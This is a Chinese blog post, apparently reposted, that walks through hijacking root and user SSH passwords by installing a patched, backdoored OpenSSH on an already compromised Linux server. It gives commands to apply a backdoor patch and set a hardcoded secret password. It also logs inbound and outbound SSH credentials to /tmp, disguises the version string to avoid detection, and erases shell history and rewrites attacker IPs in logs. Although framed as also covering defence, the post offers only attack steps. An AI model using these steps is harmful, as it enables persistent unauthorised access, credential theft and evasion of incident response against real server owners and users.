zoukankan      html  css  js  c++  java
  • 利用Openssh后门 劫持root密码

    Linux操作系统的密码较难获取。而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,

    可以通过修改或者更新OpenSSH代码等方法,截取并保存其SSH登录账号密码,甚至可以留一个隐形的后门,

    达到长期控制linux服务器的目的。在很多Linux系统被入侵后都会在系统中留后门,使用OpenSSH留后门是入侵者的惯用方式之一,OpenSSh后门比较难于检测

    那么怎么给添加OpenSSH后门以及防范后门呢

    安装依赖包

    [root@DaMoWang openssh-5.9p1]# yum -y install openssl openssl-devel pam-devel zlib zlib-devel 

    准备安装包

    [root@DaMoWang ~]# ssh -V
    OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
    [root@DaMoWang ~]# ls /opt/
    openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz
    # openssh-5.9p1.patch 是补丁文件

    解压

    [root@DaMoWang ~]# cd /opt/
    [root@DaMoWang opt]# tar xf openssh-5.9p1.tar.gz 
    [root@DaMoWang opt]# tar xf openssh-5.9p1.patch.tar.gz 
    [root@DaMoWang opt]# ls
    openssh-5.9p1  openssh-5.9p1.patch  openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz

    给openssh打补丁

    [root@DaMoWang opt]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
    [root@DaMoWang opt]# which patch
    /usr/bin/which: no patch in (/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin)
    [root@DaMoWang opt]# yum install patch
    [root@DaMoWang opt]# cd /opt/openssh-5.9p1
    [root@DaMoWang openssh-5.9p1]# patch < sshbd5.9p1.diff   # 打补丁就是修改替换原文件
    patching file auth.c
    patching file auth-pam.c
    patching file auth-passwd.c
    patching file canohost.c
    patching file includes.h
    patching file log.c
    patching file servconf.c
    patching file sshconnect2.c
    patching file sshlogin.c
    patching file version.h

    添加后门密码

    [root@DaMoWang openssh-5.9p1]# vim includes.h 
    # 跳转到配置文件末尾处 , 修改默认配置
    #define ILOG "/tmp/ilog"    # 记录远程登录本机的用户和密码
    #define OLOG "/tmp/olog"    # 记录本机远程登录到其他主机的用户和密码
    #define SECRETPW "apaajaboleh"    # 后门密码

    修改版本号

    [root@DaMoWang openssh-5.9p1]# vim version.h 
    # 修改为当前OpenSSH的版本号
    #define SSH_VERSION     "OpenSSH_5.3"
    
    #define SSH_PORTABLE    "p1"

    编译安装

    [root@DaMoWang openssh-5.9p1]# ./configure --prefix=/usr 
     --sysconfdir=/etc/ssh 
     --with-pam 
     --with-kerberos5 
     && make && make install

     

    可以看出来 安装的时候 , 已经把原有的ssh的所有命令全部替换 , 但是原有的配置文件并没有被替换 , 这样不容易被发现

    重启ssh服务 测试一下

    [root@DaMoWang openssh-5.9p1]# service sshd restart
    停止 sshd:                                                [确定]
    正在启动 sshd:                                            [确定]
    [root@DaMoWang openssh-5.9p1]# ssh -V
    OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

    服务正常启动 , 版本也与原版本一致

    测试是否能劫持用户密码

    首先测试远程登录本机

    现在并没有生成文件

    用xshell远程连接一下

     用户名和密码被劫持 , 不仅仅是root用户  , 所有远程连接本机的用户都会被记录 

    测试后面密码能否登录本机

    为了看到效果 使用明文密码登录

    连接以后 别留下脚印

    [root@DaMoWang ~]# export HISTFILE=/dev/null
    [root@DaMoWang ~]# export HISTSIZE=0
    [root@DaMoWang ~]# export HISTFILESIZE=0
    [root@DaMoWang ~]# echo >/root/.bash_history # 这个是历史命令的终极文件 不能删除 , 如果原来有内容 , 不能清除 可以是用sed替换
    [root@DaMoWang ~]# sed -i ‘s/192.168.94.66/127.0.0.1/g’ /root/.bash_history
    # 其他访问日志也可以用用sed替换ip , 瞒天过海
  • 相关阅读:
    使用 ASP.NET Core MVC 创建 Web API(五)
    使用 ASP.NET Core MVC 创建 Web API(四)
    使用 ASP.NET Core MVC 创建 Web API(三)
    使用 ASP.NET Core MVC 创建 Web API(二)
    使用 ASP.NET Core MVC 创建 Web API(一)
    学习ASP.NET Core Razor 编程系列十九——分页
    学习ASP.NET Core Razor 编程系列十八——并发解决方案
    一个屌丝程序猿的人生(九十八)
    一个屌丝程序猿的人生(九十七)
    一个屌丝程序猿的人生(九十五)
  • 原文地址:https://www.cnblogs.com/bigdevilking/p/9535427.html
Copyright © 2011-2022 走看看